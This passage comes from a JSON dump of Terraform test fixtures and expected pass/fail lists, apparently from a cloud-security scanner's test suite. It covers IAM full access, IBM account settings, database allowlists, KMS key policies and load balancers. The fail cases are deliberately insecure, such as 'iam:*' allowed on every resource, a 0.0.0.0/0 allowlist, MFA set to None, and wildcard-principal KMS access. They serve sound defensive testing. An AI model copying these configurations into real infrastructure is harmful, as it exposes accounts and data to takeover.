 = data.aws_iam_policy_document.instance_assume_role_policy.json\n  managed_policy_arns = [\"arn:aws:iam::aws:policy/AmazonS3ReadOnlyAccess\",\"arn:aws:iam::aws:policy/IAMFullAccess\"]\n}\n# Test iam role with other policy - Pass\nresource \"aws_iam_role\" \"pass3\" {\n  name                = \"role\"\n  assume_role_policy  = data.aws_iam_policy_document.instance_assume_role_policy.json\n  managed_policy_arns = [\"arn:aws:iam::aws:policy/AmazonS3ReadOnlyAccess\"]\n}\n# Test iam role with no managed policies - Pass\nresource \"aws_iam_role\" \"pass3a\" {\n  name                = \"role\"\n  assume_role_policy  = data.aws_iam_policy_document.instance_assume_role_policy.json\n}\n\n# Test policy attachment with IAMFullAccess - Fail\nresource \"aws_iam_policy_attachment\" \"fail4\" {\n  name       = \"policy\"\n  roles      = [aws_iam_role.fail1.name]\n  policy_arn = \"arn:aws:iam::aws:policy/IAMFullAccess\"\n}\n# Test policy attachment with other policy - Pass\nresource \"aws_iam_policy_attachment\" \"pass4\" {\n  name       = \"policy\"\n  role       = aws_iam_role.pass1.name\n  policy_arn = \"arn:aws:iam::aws:policy/AmazonS3ReadOnlyAccess\"\n}\n\n# Test user policy attachment with IAMFullAccess - Fail\nresource \"aws_iam_user_policy_attachment\" \"fail5\" {\n  user       = aws_iam_user.user.name\n  policy_arn = \"arn:aws:iam::aws:policy/IAMFullAccess\"\n}\n# Test user policy attachment with other policy - Pass\nresource \"aws_iam_user_policy_attachment\" \"pass5\" {\n  user       = aws_iam_user.user2.name\n  policy_arn = \"arn:aws:iam::aws:policy/AmazonEC2ReadOnlyAccess\"\n}\n\n# Test role policy attachment with IAMFullAccess - Fail\nresource \"aws_iam_role_policy_attachment\" \"fail6\" {\n  role       = aws_iam_role.role.name\n  policy_arn = \"arn:aws:iam::aws:policy/IAMFullAccess\"\n}\n# Test role policy attachment with other policy - Pass\nresource \"aws_iam_role_policy_attachment\" \"pass6\" {\n  role       = aws_iam_role.role.name\n  policy_arn = \"arn:aws:iam::aws:policy/AmazonEC2ReadOnlyAccess\"\n}\n\n# Test group policy attachment with IAMFullAccess - Fail\nresource \"aws_iam_group_policy_attachment\" \"fail7\" {\n  group      = aws_iam_group.group.name\n  policy_arn = \"arn:aws:iam::aws:policy/IAMFullAccess\"\n}\n# Test group policy attachment with other policy - Pass\nresource \"aws_iam_group_policy_attachment\" \"pass7\" {\n  group      = aws_iam_group.group.name\n  policy_arn = \"arn:aws:iam::aws:policy/AmazonEC2ReadOnlyAccess\"\n}\n\n# Test SSO policy attachment with IAMFullAccess - Fail\nresource \"aws_ssoadmin_managed_policy_attachment\" \"fail8\" {\n  instance_arn       = tolist(data.aws_ssoadmin_instances.my_instance.arns)[0]\n  managed_policy_arn = \"arn:aws:iam::aws:policy/IAMFullAccess\"\n  permission_set_arn = aws_ssoadmin_permission_set.admins.arn\n}\n# Test SSO policy attachment with other policy - Pass\nresource \"aws_ssoadmin_managed_policy_attachment\" \"pass8\" {\n  instance_arn       = tolist(data.aws_ssoadmin_instances.my_instance.arns)[0]\n  managed_policy_arn = \"arn:aws:iam::aws:policy/AmazonEC2ReadOnlyAccess\"\n  permission_set_arn = aws_ssoadmin_permission_set.viewers.arn\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/IAMPolicyNotAllowFullIAMAccess/expected.yaml",
    "content": "pass:\n  - \"aws_iam_policy.policy_pass\"\n  - \"aws_iam_policy.policy_pass2\"\n  - \"aws_iam_policy.policy_pass3\"\n  - \"aws_iam_role_policy.pass1\"\n  - \"aws_iam_group_policy.pass1\"\n  - \"aws_iam_user_policy.pass1\"\n  - \"aws_ssoadmin_permission_set_inline_policy.pass1\"\n  - \"aws_iam_policy_document.pass1\"\nfail:\n  - \"aws_iam_policy.policy_fail\"\n  - \"aws_iam_policy.policy_fail2\"\n  - \"aws_iam_policy.policy_mutiple_actions_fail\"\n  - \"aws_iam_policy.full_admin_fail\"\n  - \"aws_iam_role_policy.fail1\"\n  - \"aws_iam_group_policy.fail1\"\n  - \"aws_iam_user_policy.fail1\"\n  - \"aws_ssoadmin_permission_set_inline_policy.fail1\"\n  - \"aws_iam_policy_document.fail1\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/IAMPolicyNotAllowFullIAMAccess/main.tf",
    "content": "# Test standard IAM Policy - pass\n# https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/iam_policy \n\nresource \"aws_iam_policy\" \"policy_pass\" {\n  name        = \"policy_pass\"\n  path        = \"/\"\n\n  # Terraform's \"jsonencode\" function converts a\n  # Terraform expression result to valid JSON syntax.\n  policy = jsonencode({\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n        \"Action\": \"s3:*\",\n        \"Effect\": \"Allow\",\n        \"Resource\": \"*\"\n        }\n    ]\n  })\n}\n\n# Test standard IAM Policy - fail\nresource \"aws_iam_policy\" \"policy_fail\" {\n  name        = \"IAMFullAccessPolicy\"\n  path        = \"/\"\n  description = \"Allows IAM Full Access Privileges\"\n\n  # Terraform's \"jsonencode\" function converts a\n  # Terraform expression result to valid JSON syntax.\n  policy = jsonencode({\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n        \"Action\": \"iam:*\",\n        \"Effect\": \"Allow\",\n        \"Resource\": \"*\"\n        }\n    ]\n  })\n}\n\n# Test standard IAM Policy with a Deny - pass\nresource \"aws_iam_policy\" \"policy_pass2\" {\n  name        = \"policy_pass2\"\n  path        = \"/\"\n  description = \"Deny IAM Full Access Privileges\"\n\n  # Terraform's \"jsonencode\" function converts a\n  # Terraform expression result to valid JSON syntax.\n  policy = jsonencode({\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n        \"Action\": \"iam:*\",\n        \"Effect\": \"Deny\",\n        \"Resource\": \"*\"\n        }\n    ]\n  })\n}\n\n# Test standard IAM Policy with an action that includes iam:* as a string but is not iam service - pass\nresource \"aws_iam_policy\" \"policy_pass3\" {\n  name        = \"policy_pass2\"\n  path        = \"/\"\n  description = \"Deny IAM Full Access Privileges\"\n\n  # Terraform's \"jsonencode\" function converts a\n  # Terraform expression result to valid JSON syntax.\n  policy = jsonencode({\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n        \"Action\": \"xsiam:*\",\n        \"Effect\": \"Deny\",\n        \"Resource\": \"*\"\n        }\n    ]\n  })\n}\n\n# Test standard IAM Policy with a heredoc - fail\nresource \"aws_iam_policy\" \"policy_fail2\" {\n  name = \"policy_fail2\"\n  path = \"/\"\n\n  policy = <<POLICY\n  {\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n    {\n      \"Action\": \"iam:*\",\n      \"Effect\": \"Allow\",\n      \"Resource\": \"*\",\n      \"Sid\": \"\"\n    }\n    ]\n  }\nPOLICY\n}\n\n# Test standard IAM Policy with multiple actions - fail\nresource \"aws_iam_policy\" \"policy_mutiple_actions_fail\" {\n  name        = \"IAMAndS3FullAccessPolicy\"\n  path        = \"/\"\n  description = \"Allows IAM & S3 Full Access Privileges\"\n\n  # Terraform's \"jsonencode\" function converts a\n  # Terraform expression result to valid JSON syntax.\n  policy = jsonencode({\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n        \"Action\": [\n          \"iam:*\",\n          \"s3*\"\n        ]\n        \"Effect\": \"Allow\",\n        \"Resource\": \"*\"\n        }\n    ]\n  })\n}\n\n# Test standard IAM Policy with full \"*\" listed as an action - fail\nresource \"aws_iam_policy\" \"full_admin_fail\" {\n  name        = \"IAMAndS3FullAccessPolicy\"\n  path        = \"/\"\n  description = \"Allows IAM & S3 Full Access Privileges\"\n\n  # Terraform's \"jsonencode\" function converts a\n  # Terraform expression result to valid JSON syntax.\n  policy = jsonencode({\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n        \"Action\": [\n          \"ec2:*\",\n          \"s3*\",\n          \"*\"\n        ]\n        \"Effect\": \"Allow\",\n        \"Resource\": \"*\"\n        }\n    ]\n  })\n}\n\n# Test Role Policy - pass\n# https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/iam_role_policy\nresource \"aws_iam_role_policy\" \"pass1\" {\n  name = \"fail1\"\n  role = aws_iam_role.test_role.id\n\n  # Terraform's \"jsonencode\" function converts a\n  # Terraform expression result to valid JSON syntax.\n  policy = jsonencode({\n    Version = \"2012-10-17\"\n    Statement = [\n      {\n        Action = [\n          \"s3:*\",\n          \"ec2:*\"\n        ]\n        Effect   = \"Allow\"\n        Resource = \"*\"\n      },\n    ]\n  })\n}\n\n# Test Role Policy - fail\nresource \"aws_iam_role_policy\" \"fail1\" {\n  name = \"fail1\"\n  role = aws_iam_role.test_role.id\n\n  # Terraform's \"jsonencode\" function converts a\n  # Terraform expression result to valid JSON syntax.\n  policy = jsonencode({\n    Version = \"2012-10-17\"\n    Statement = [\n      {\n        Action = [\n          \"iam:*\",\n        ]\n        Effect   = \"Allow\"\n        Resource = \"*\"\n      },\n    ]\n  })\n}\n\n# Test Group Policy - pass\n# https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/iam_group_policy\nresource \"aws_iam_group_policy\" \"pass1\" {\n  name  = \"my_developer_policy\"\n  group = aws_iam_group.my_developers.name\n\n  # Terraform's \"jsonencode\" function converts a\n  # Terraform expression result to valid JSON syntax.\n  policy = jsonencode({\n    Version = \"2012-10-17\"\n    Statement = [\n      {\n        Action = [\n          \"ec2:Describe*\",\n        ]\n        Effect   = \"Allow\"\n        Resource = \"*\"\n      },\n    ]\n  })\n}\n\n# Test Group Policy - fail\nresource \"aws_iam_group_policy\" \"fail1\" {\n  name  = \"my_developer_policy\"\n  group = aws_iam_group.my_developers.name\n\n  # Terraform's \"jsonencode\" function converts a\n  # Terraform expression result to valid JSON syntax.\n  policy = jsonencode({\n    Version = \"2012-10-17\"\n    Statement = [\n      {\n        Action = [\n          \"ec2:Describe*\",\n          \"iam:*\",\n          \"s3*\"\n        ]\n        Effect   = \"Allow\"\n        Resource = \"*\"\n      },\n    ]\n  })\n}\n\n# Test User Policy - pass\n# https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/iam_user_policy\nresource \"aws_iam_user_policy\" \"pass1\" {\n  name = \"test\"\n  user = aws_iam_user.lb.name\n\n  # Terraform's \"jsonencode\" function converts a\n  # Terraform expression result to valid JSON syntax.\n  policy = jsonencode({\n    Version = \"2012-10-17\"\n    Statement = [\n      {\n        Action = [\n          \"ec2:Describe*\",\n        ]\n        Effect   = \"Allow\"\n        Resource = \"*\"\n      },\n    ]\n  })\n}\n\n# Test User Policy - fail\nresource \"aws_iam_user_policy\" \"fail1\" {\n  name = \"test\"\n  user = aws_iam_user.lb.name\n\n  # Terraform's \"jsonencode\" function converts a\n  # Terraform expression result to valid JSON syntax.\n  policy = jsonencode({\n    Version = \"2012-10-17\"\n    Statement = [\n      {\n        Action = [\n          \"iam:*\",\n        ]\n        Effect   = \"Allow\"\n        Resource = \"*\"\n      },\n    ]\n  })\n}\n\n# Test SSOAdmin Permissions Set Inline Policy - pass\n# https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/ssoadmin_permission_set_inline_policy\nresource \"aws_ssoadmin_permission_set_inline_policy\" \"pass1\" {\n  instance_arn       = aws_ssoadmin_permission_set.example.instance_arn\n  permission_set_arn = aws_ssoadmin_permission_set.example.arn\n  inline_policy      = <<POLICY\n{\n  \"Statement\": [\n    {\n      \"Action\": [\n        \"s3:ListBucket*\",\n        \"s3:HeadBucket\",\n        \"s3:Get*\"\n      ],\n      \"Effect\": \"Allow\",\n      \"Resource\": [\n        \"arn:aws:s3:::b1\",\n        \"arn:aws:s3:::b1/*\",\n        \"arn:aws:s3:::b2\",\n        \"arn:aws:s3:::b2/*\"\n      ],\n      \"Sid\": \"\"\n    },\n    {\n      \"Action\": \"s3:PutObject*\",\n      \"Effect\": \"Allow\",\n      \"Resource\": \"arn:aws:s3:::b1/*\",\n      \"Sid\": \"\"\n    }\n  ],\n  \"Version\": \"2012-10-17\"\n}\nPOLICY\n}\n\n# Test SSOAdmin Permissions Set Inline Policy - fail\nresource \"aws_ssoadmin_permission_set_inline_policy\" \"fail1\" {\n  instance_arn       = aws_ssoadmin_permission_set.example.instance_arn\n  permission_set_arn = aws_ssoadmin_permission_set.example.arn\n  inline_policy      = <<POLICY\n{\n  \"Statement\": [\n    {\n      \"Action\": [\n        \"s3:HeadBucket\",\n        \"iam:*\"\n      ],\n      \"Effect\": \"Allow\",\n      \"Resource\": [\n        \"arn:aws:s3:::b1\",\n        \"arn:aws:s3:::b1/*\",\n        \"*\"\n      ],\n      \"Sid\": \"\"\n    }\n  ],\n  \"Version\": \"2012-10-17\"\n}\nPOLICY\n}\n\n# Test IAM Policy document data type - pass\n# https://registry.terraform.io/providers/hashicorp/aws/latest/docs/data-sources/iam_policy_document\ndata \"aws_iam_policy_document\" \"pass1\" {\n  statement {\n    sid = \"1\"\n    effect = \"Allow\"\n    actions = [\n      \"s3:ListAllMyBuckets\",\n      \"s3:GetBucketLocation\",\n    ]\n\n    resources = [\n      \"arn:aws:s3:::*\",\n    ]\n  }\n\n  statement {\n    actions = [\n      \"s3:ListBucket\",\n    ]\n\n    resources = [\n      \"arn:aws:s3:::${var.s3_bucket_name}\",\n    ]\n\n    condition {\n      test     = \"StringLike\"\n      variable = \"s3:prefix\"\n\n      values = [\n        \"\",\n        \"home/\",\n        \"home/&{aws:username}/\",\n      ]\n    }\n  }\n\n  # Deny IAM Permissions\n  statement {\n    effect = \"Deny\"\n    actions = [\n      \"iam:*\",\n    ]\n\n    resources = [\n      \"arn:aws:iam:::/home/&{aws:username}\",\n      \"arn:aws:iam:::/home/&{aws:username}/*\",\n    ]\n  }\n}\n\n# Test IAM Policy document data type - fail\ndata \"aws_iam_policy_document\" \"fail1\" {\n  statement {\n    sid = \"1\"\n    effect = \"Allow\"\n    actions = [\n      \"s3:ListAllMyBuckets\",\n      \"s3:GetBucketLocation\",\n    ]\n\n    resources = [\n      \"arn:aws:s3:::*\",\n    ]\n  }\n\n  statement {\n    actions = [\n      \"s3:ListBucket\",\n    ]\n\n    resources = [\n      \"arn:aws:s3:::${var.s3_bucket_name}\",\n    ]\n\n    condition {\n      test     = \"StringLike\"\n      variable = \"s3:prefix\"\n\n      values = [\n        \"\",\n        \"home/\",\n        \"home/&{aws:username}/\",\n      ]\n    }\n  }\n\n  # Allow IAM Permissions\n  statement {\n    effect = \"Allow\"\n    actions = [\n      \"iam:*\",\n    ]\n\n    resources = [\n      \"arn:aws:iam:::/home/&{aws:username}\",\n      \"arn:aws:iam:::/home/&{aws:username}/*\",\n    ]\n  }\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/IAMUserHasNoConsoleAccess/expected.yaml",
    "content": "pass:\n  - \"aws_iam_user.pass\"\nfail:\n  - \"aws_iam_user.fail\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/IAMUserHasNoConsoleAccess/main.tf",
    "content": "# pass\n\nresource \"aws_iam_user\" \"pass\" {\n  name = \"tech-user\"\n}\n\n# fail\n\nresource \"aws_iam_user\" \"fail\" {\n  name = \"human-user\"\n}\n\nresource \"aws_iam_user_login_profile\" \"fail\" {\n  user    = aws_iam_user.fail.name\n  pgp_key = \"keybase:human-user\"\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/IAMUsersAreMembersAtLeastOneGroup/expected.yaml",
    "content": "pass:\n  - \"aws_iam_group_membership.ok_group\"\nfail:\n  - \"aws_iam_group_membership.bad_group\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/IAMUsersAreMembersAtLeastOneGroup/main.tf",
    "content": "resource \"aws_iam_group_membership\" \"ok_group\" {\n  name = \"tf-testing-group-membership\"\n\n  users = [\n    aws_iam_user.user_good.name,\n  ]\n\n  group = aws_iam_group.group.name\n}\n\nresource \"aws_iam_group\" \"group\" {\n  name = \"test-group\"\n}\n\nresource \"aws_iam_user\" \"user_good\" {\n  name = \"test-user\"\n}\n\nresource \"aws_iam_user\" \"user_bad\" {\n  name = \"test-user-two\"\n}\n\n\nresource \"aws_iam_group_membership\" \"bad_group\" {\n  name = \"tf-testing-group-membership\"\n  users = []\n  group = aws_iam_group.bad_group.name\n}\n\nresource \"aws_iam_group\" \"bad_group\" {\n  name = \"test-group\"\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/IBM_DatabasesNWaccessRestrictedToSpecificIPrange/expected.yaml",
    "content": "pass:\n  - \"ibm_database.pass\"\nfail:\n  - \"ibm_database.fail_1\"\n  - \"ibm_database.fail_2\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/IBM_DatabasesNWaccessRestrictedToSpecificIPrange/main.tf",
    "content": "# Case 1: Pass, allow list contains a valid IP range\n\nresource \"ibm_database\" \"pass\" {\n  name                         = \"pud_mysql_db_pass_1\"\n  service                      = \"databases-for-mysql\"\n  plan                         = \"platinum\"\n  location                     = \"eu-gb\"\n\n  allowlist {\n    address     = \"172.168.1.2/16\"\n    description = \"desc1\"\n  }\n}\n\n# Case 2: Fail, allow list contains a invalid IP range - 0.0.0.0/0\n\nresource \"ibm_database\" \"fail_1\" {\n  name                         = \"pud_mysql_db_pass_1\"\n  service                      = \"databases-for-mysql\"\n  plan                         = \"platinum\"\n  location                     = \"eu-gb\"\n\n  allowlist {\n    address     = \"0.0.0.0/0\"\n    description = \"desc1\"\n  }\n}\n\n# Case 3: Fail, allow list does NOT contain IP range, defaults to 0.0.0.0/0\n\nresource \"ibm_database\" \"fail_2\" {\n  name                         = \"pud_mysql_db_pass_1\"\n  service                      = \"databases-for-mysql\"\n  plan                         = \"platinum\"\n  location                     = \"eu-gb\"\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/IBM_EnableMFAatAccountLevel/expected.yaml",
    "content": "pass:\n  - \"ibm_iam_account_settings.pass\"\nfail:\n  - \"ibm_iam_account_settings.fail_1\"\n  - \"ibm_iam_account_settings.fail_2\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/IBM_EnableMFAatAccountLevel/main.tf",
    "content": "\n# Case 1: Pass: as MFA is configured\n\nresource \"ibm_iam_account_settings\" \"pass\" {\n    mfa                           = \"LEVEL3\"\n    session_expiration_in_seconds = \"40000\"\n    restrict_create_platform_apikey = \"RESTRICTED\" # checkov:skip=CKV_SECRET_6 test secret\n}\n\n# Case 2: Fail: as 'mfa' argument does NOT exist\n\nresource \"ibm_iam_account_settings\" \"fail_1\" {\n  restrict_create_platform_apikey = \"NOT_RESTRICTED\" # checkov:skip=CKV_SECRET_6 test secret\n}\n\n# Case 3: Fail: as 'mfa' equals to 'None'\n\nresource \"ibm_iam_account_settings\" \"fail_2\" {\n  mfa                           = \"None\"\n  session_expiration_in_seconds = \"40000\"\n}\n\n\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/IBM_K8sClustersAccessibleViaPrivateEndPt/expected.yaml",
    "content": "pass:\n  - \"ibm_container_cluster.pass_1\"\n  - \"ibm_container_cluster.pass_2\"\nfail:\n  - \"ibm_container_cluster.fail_1\"\n  - \"ibm_container_cluster.fail_2\"\n  - \"ibm_container_cluster.fail_3\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/IBM_K8sClustersAccessibleViaPrivateEndPt/main.tf",
    "content": "# Case 1: Pass, 'private_service_endpoint' is 'true'\n\nresource \"ibm_container_cluster\" \"pass_1\" {\n  name            = \"pud_pass_1\"\n  gateway_enabled = true\n  datacenter      = \"dal10\"\n  machine_type    = \"b3c.4x16\"\n  hardware        = \"shared\"\n  private_vlan_id = \"2709721\"\n  private_service_endpoint = true\n}\n\n# Case 2: Pass, public_service_endpoint is false\n\nresource \"ibm_container_cluster\" \"pass_2\" {\n  name            = \"pud_pass_2\"\n  gateway_enabled = true\n  datacenter      = \"dal10\"\n  machine_type    = \"b3c.4x16\"\n  hardware        = \"shared\"\n  private_vlan_id = \"2709721\"\n  private_service_endpoint = true\n  public_service_endpoint = false\n}\n\n# Case 3: Fail, \"private_service_endpoint\" is not true\n\nresource \"ibm_container_cluster\" \"fail_1\" {\n  name            = \"pud_fail_1\"\n  gateway_enabled = true\n  datacenter      = \"dal10\"\n  machine_type    = \"b3c.4x16\"\n  hardware        = \"shared\"\n  private_vlan_id = \"2709721\"\n  private_service_endpoint = false\n}\n\n# Case 4: Fail, public_service_endpoint and private_service_endpoint is true\n\nresource \"ibm_container_cluster\" \"fail_2\" {\n  name            = \"pud_fail_2\"\n  gateway_enabled = true\n  datacenter      = \"dal10\"\n  machine_type    = \"b3c.4x16\"\n  hardware        = \"shared\"\n  private_vlan_id = \"2709721\"\n  private_service_endpoint = true\n  public_service_endpoint = true\n}\n\n# Case 5: Fail, private_service_endpoint does not exist, defaulting to public accessibility\n\nresource \"ibm_container_cluster\" \"fail_3\" {\n  name            = \"pud_fail_3\"\n  gateway_enabled = true\n  datacenter      = \"dal10\"\n  machine_type    = \"b3c.4x16\"\n  hardware        = \"shared\"\n  private_vlan_id = \"2709721\"\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/IBM_LoadBalancerforVPCisPrivate/expected.yaml",
    "content": "pass:\n  - \"ibm_is_lb.pass\"\n  - \"ibm_is_lb.pass_private_path\"\nfail:\n  - \"ibm_is_lb.fail\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/IBM_LoadBalancerforVPCisPrivate/main.tf",
    "content": "variable \"pud-subnet\" {\n  subnet = \"192.168.20.0/24\"\n}\n\n# Case 1: Pass: type = \"private\"\n\nresource \"ibm_is_lb\" \"pass\" {\n  name    = \"pud-load-balancer\"\n  subnets = [var.pud-subnet]\n  type = \"private\"\n}\n\n# Case 2: FAIL: 'type' does not exist. By default, type = 'public'\n\nresource \"ibm_is_lb\" \"fail\" {\n  name    = \"pud-load-balancer\"\n  subnets = [var.pud-subnet]\n  profile = \"network-fixed\"\n}\n\n# Case 3: Pass: type = \"private\"\n\nresource \"ibm_is_lb\" \"pass_private_path\" {\n  name    = \"pud-load-balancer\"\n  subnets = [var.pud-subnet]\n  type = \"private_path\"\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/IBM_RestrictAPIkeyCreationInAccountSettings/expected.yaml",
    "content": "pass:\n  - \"ibm_iam_account_settings.pass\"\nfail:\n  - \"ibm_iam_account_settings.fail_1\"\n  - \"ibm_iam_account_settings.fail_2\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/IBM_RestrictAPIkeyCreationInAccountSettings/main.tf",
    "content": "\n# Case 1: Pass: as restrict_create_platform_apikey  is set to \"RESTRICTED\"\n\nresource \"ibm_iam_account_settings\" \"pass\" {\n  restrict_create_platform_apikey = \"RESTRICTED\" # checkov:skip=CKV_SECRET_6 test secret\n}\n\n# Case 2: Fail: as restrict_create_platform_apikey  is NOT set to \"RESTRICTED\"\n\nresource \"ibm_iam_account_settings\" \"fail_1\" {\n  restrict_create_platform_apikey = \"NOT_RESTRICTED\" # checkov:skip=CKV_SECRET_6 test secret\n}\n\n# Case 3: Fail: as restrict_create_platform_apikey  does not exist, By default, all members of an account can create API keys\n\nresource \"ibm_iam_account_settings\" \"fail_2\" {\n  mfa                           = \"LEVEL3\"\n  session_expiration_in_seconds = \"40000\"\n}\n\n\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/IBM_RestrictServiceIDCreationInAccountSettings/expected.yaml",
    "content": "pass:\n  - \"ibm_iam_account_settings.pass\"\nfail:\n  - \"ibm_iam_account_settings.fail_1\"\n  - \"ibm_iam_account_settings.fail_2\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/IBM_RestrictServiceIDCreationInAccountSettings/main.tf",
    "content": "\n# Case 1: Pass: as restrict_create_service_id  is set to \"RESTRICTED\"\n\nresource \"ibm_iam_account_settings\" \"pass\" {\n  restrict_create_service_id  = \"RESTRICTED\"\n}\n\n# Case 2: Fail: as restrict_create_service_id  is NOT set to \"RESTRICTED\"\n\nresource \"ibm_iam_account_settings\" \"fail_1\" {\n  restrict_create_service_id = \"NOT_RESTRICTED\"\n}\n\n# Case 3: Fail: as restrict_create_service_id  does not exist, By default, all members of an account can create service IDs\n\nresource \"ibm_iam_account_settings\" \"fail_2\" {\n  mfa                           = \"LEVEL3\"\n  session_expiration_in_seconds = \"40000\"\n}\n\n\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/IBM_VPCclassicAccessIsDisabled/expected.yaml",
    "content": "pass:\n  - \"ibm_is_vpc.pass_1\"\n  - \"ibm_is_vpc.pass_2\"\nfail:\n  - \"ibm_is_vpc.fail\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/IBM_VPCclassicAccessIsDisabled/main.tf",
    "content": "# Case 1: Pass: Default value for 'classic_access' is false\n\nresource \"ibm_is_vpc\" \"pass_1\" {\n  name = \"pud-vpc\"\n}\n\n# Case 2: Pass: 'classic_access' = 'false'\nresource \"ibm_is_vpc\" \"pass_2\" {\n  name = \"pud-vpc\"\n  classic_access = false\n}\n\n# Case 3: Fail: 'classic_access' = 'true'\n\nresource \"ibm_is_vpc\" \"fail\" {\n  name = \"pud-vpc\"\n  classic_access = true\n}\n\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/KmsKeyPolicyIsDefined/expected.yaml",
    "content": "pass:\n  - \"aws_kms_key.pass\"\n  - \"aws_kms_key.pass2\"\nfail:\n  - \"aws_kms_key.fail\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/KmsKeyPolicyIsDefined/main.tf",
    "content": "resource \"aws_kms_key\" \"pass\" {\n    enable_key_rotation = true\n}\n\nresource \"aws_kms_key\" \"pass2\" {\n  enable_key_rotation = true\n  policy = jsonencode({\n    Id = \"example\"\n    Statement = [\n      {\n        Action = \"kms:*\"\n        Effect = \"Allow\"\n        Principal = {\n          AWS = \"*\"\n        }\n\n        Resource = \"*\"\n        Sid      = \"Enable IAM User Permissions\"\n      },\n    ]\n    Version = \"2012-10-17\"\n  })\n}\n\nresource \"aws_kms_key_policy\" \"pike\" {\n  key_id = aws_kms_key.pass.id\n  policy = jsonencode({\n    Id = \"example\"\n    Statement = [\n      {\n        Action = \"kms:*\"\n        Effect = \"Allow\"\n        Principal = {\n          AWS = \"*\"\n        }\n\n        Resource = \"*\"\n        Sid      = \"Enable IAM User Permissions\"\n      },\n    ]\n    Version = \"2012-10-17\"\n  })\n}\n\nresource \"aws_kms_key\" \"fail\" {\n  enable_key_rotation = true\n}\n\n\nresource \"aws_s3_bucket\" \"ignore\" {}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/LBTargetGroup/expected.yaml",
    "content": "pass:\n  - \"aws_lb_target_group.pass\"\n  - \"aws_alb_target_group.pass\"\n  - \"aws_lb_target_group.public_fargate_target_group\"\n  - \"aws_alb_target_group.public_fargate_target_group\"\nfail:\n  - \"aws_lb_target_group.fail\"\n  - \"aws_alb_target_group.fail\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/LBTargetGroup/main.tf",
    "content": "resource \"aws_lb_target_group\" \"fail\" {\n  name     = \"tf-example-lb-tg\"\n  port     = 80\n  protocol = \"HTTP\"\n  vpc_id   = aws_vpc.main.id\n}\n\nresource \"aws_lb_target_group\" \"pass\" {\n  name        = \"tf-example-lb-alb-tg\"\n  target_type = \"alb\"\n  port        = 80\n  protocol    = \"TCP\"\n  vpc_id      = aws_vpc.main.id\n}\n\nresource \"aws_alb_target_group\" \"fail\" {\n  name     = \"tf-example-lb-tg\"\n  port     = 80\n  protocol = \"HTTP\"\n  vpc_id   = aws_vpc.main.id\n}\n\nresource \"aws_alb_target_group\" \"pass\" {\n  name     = \"tf-example-lb-nlb-tg\"\n  port     = 25\n  protocol = \"TCP\"\n  vpc_id   = aws_vpc.main.id\n\n  target_health_state {\n    enable_unhealthy_connection_termination = false\n  }\n}\n\nresource \"aws_lb_listener\" \"public_load_balancer_https_listener\" {\n  load_balancer_arn = aws_lb.public_application_load_balancer.arn\n  port              = \"443\"\n  protocol          = \"HTTPS\"\n  ssl_policy        = \"ELBSecurityPolicy-TLS13-1-2-2021-06\"\n  certificate_arn   = data.aws_acm_certificate.default_cert.arn\n\n  default_action {\n    target_group_arn = aws_lb_target_group.public_fargate_target_group.arn\n    type             = \"forward\"\n  }\n\n  depends_on = [aws_lb_target_group.public_fargate_target_group]\n\n  tags = {\n    environment        = var.environment\n    service_name       = var.service_name\n    application_family = var.application_family\n    terraformed        = true\n  }\n}\n\nresource \"aws_lb_target_group\" \"public_fargate_target_group\" {\n  name                 = \"${var.environment}-${var.service_name}-public\"\n  port                 = \"8080\"\n  protocol             = \"HTTP\"\n  target_type          = \"ip\"\n  deregistration_delay = \"60\"\n  vpc_id               = data.aws_vpc.vpc.id\n\n  health_check {\n    enabled             = true\n    healthy_threshold   = \"3\"\n    interval            = \"10\"\n    matcher             = \"200\"\n    path                = \"/hello/\"\n    port                = \"8080\"\n    protocol            = \"HTTP\"\n    timeout             = \"5\"\n    unhealthy_threshold = \"3\"\n  }\n\n  stickiness {\n    type            = \"lb_cookie\"\n    cookie_duration = \"86400\"\n    enabled         = false\n  }\n\n  tags = {\n    environment        = var.environment\n    service_name       = var.service_name\n    application_family = var.application_family\n    terraformed        = true\n  }\n\n  depends_on = [aws_lb.public_application_load_balancer]\n}\n\nresource \"aws_alb_listener\" \"public_load_balancer_https_listener\" {\n  load_balancer_arn = aws_lb.public_application_load_balancer.arn\n  port              = \"443\"\n  protocol          = \"HTTPS\"\n  ssl_policy        = \"ELBSecurityPolicy-TLS13-1-2-2021-06\"\n  certificate_arn   = data.aws_acm_certificate.default_cert.arn\n\n  default_action {\n    target_group_arn = aws_alb_target_group.public_fargate_target_group.arn\n    type             = \"forward\"\n  }\n\n  depends_on = [aws_alb_target_group.public_fargate_target_group]\n\n  tags = {\n    environment        = var.environment\n    